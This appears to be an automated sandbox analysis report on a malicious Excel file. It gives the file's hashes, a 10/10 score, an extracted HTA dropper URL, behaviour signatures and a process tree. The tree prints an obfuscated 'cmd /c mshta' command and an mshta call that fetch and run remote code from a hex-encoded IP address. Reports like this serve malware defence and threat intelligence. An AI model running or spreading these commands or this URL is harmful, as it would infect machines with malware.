Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    11-11-2024 17:32

General

  • Target

    b688576a9f8c21e3efcbc12c8deb708698492076985902a7cb8fbbeb7a9f5bc6.xls

  • Size

    115KB

  • MD5

    50f9aa9802f18f969467d55e3e042a62

  • SHA1

    104315697db3add18eefbeb14811782f8134b468

  • SHA256

    b688576a9f8c21e3efcbc12c8deb708698492076985902a7cb8fbbeb7a9f5bc6

  • SHA512

    233feffe1c1e524ac29a504e369137fb3d988f36621632508ee086408e9744fc9942eb38d8aaba6fd9c49916698f44bd11daff967bbd271f92033ff573162e75

  • SSDEEP

    3072:Me+nBqmKk3hbdlylKsgqopeJBWhZFGkE+cMLxAAImxe53lGvFTQ3IzxgdrvxpU0f:z+nBqmKk3hbdlylKsgqopeJBWhZFVE+m

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://185.7.214.7/fer/fe7.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\b688576a9f8c21e3efcbc12c8deb708698492076985902a7cb8fbbeb7a9f5bc6.xls
    1⤵
    • System Location Discovery: System Language Discovery
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1088
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ms^h^ta ht^tp:/^/0x^b^907d60^7/fe^r/fe7.html
      2⤵
      • Process spawned unexpected child process
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2244
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://0xb907d607/fer/fe7.html
        3⤵
        • Blocklisted process makes network request
        • System Location Discovery: System Language Discovery
        • Modifies Internet Explorer settings
        PID:2624

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1088-1-0x000000007207D000-0x0000000072088000-memory.dmp

    Filesize

    44KB

  • memory/1088-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1088-2-0x000000007207D000-0x0000000072088000-memory.dmp

    Filesize

    44KB